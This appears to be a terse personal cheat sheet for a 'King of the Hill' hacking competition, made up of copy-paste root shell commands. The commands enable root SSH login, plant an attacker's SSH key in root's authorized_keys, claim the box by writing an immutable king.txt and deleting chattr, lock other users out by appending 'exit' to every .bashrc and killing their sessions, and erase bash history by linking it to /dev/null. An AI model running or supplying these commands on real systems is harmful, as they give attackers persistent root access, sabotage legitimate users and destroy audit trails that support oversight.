Privesc

nano /etc/sudoers | # to all
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
service sshd restart
echo 'clevergod' > /root/king.txt && chattr +i /root/king.txt #&& rm /usr/bin/chattr

Generate

ssh-keygen -t rsa -b 4096
G8*****
subl ~/.ssh/id_rsa.pub

SSH ONELiner

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAA....t1dk9llNw==' >> /root/.ssh/authorized_keys; chmod -R 600 /root/.ssh ; sed -i '/^PermitRootLogin/s/no/yes/' /etc/ssh/sshd_config ; service ssh restart
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAA.....k9llNw==' >> ~/.ssh/authorized_keys

Kick ALL

find /home/ -name .bashrc -type f |while read in; do echo exit >> $in; done
ls /home | sed 's/ /\\n/g' | while read in; do echo "killing session of $in"; killall -u $in; done
echo 'clevergod' > /root/king.txt && chattr +i /root/king.txt && rm /usr/bin/chattr

History Date

echo 'export HISTTIMEFORMAT="%d/%m/%y %T "' >> ~/.bash_profile
source ~/.bash_profile

Clear history & /dev/null

//bash_history #clear
cat /dev/null > ~/.bash_history; ln -sf /dev/null ~/.bash_history

//или 
history -c && history -w

SSH HARDENING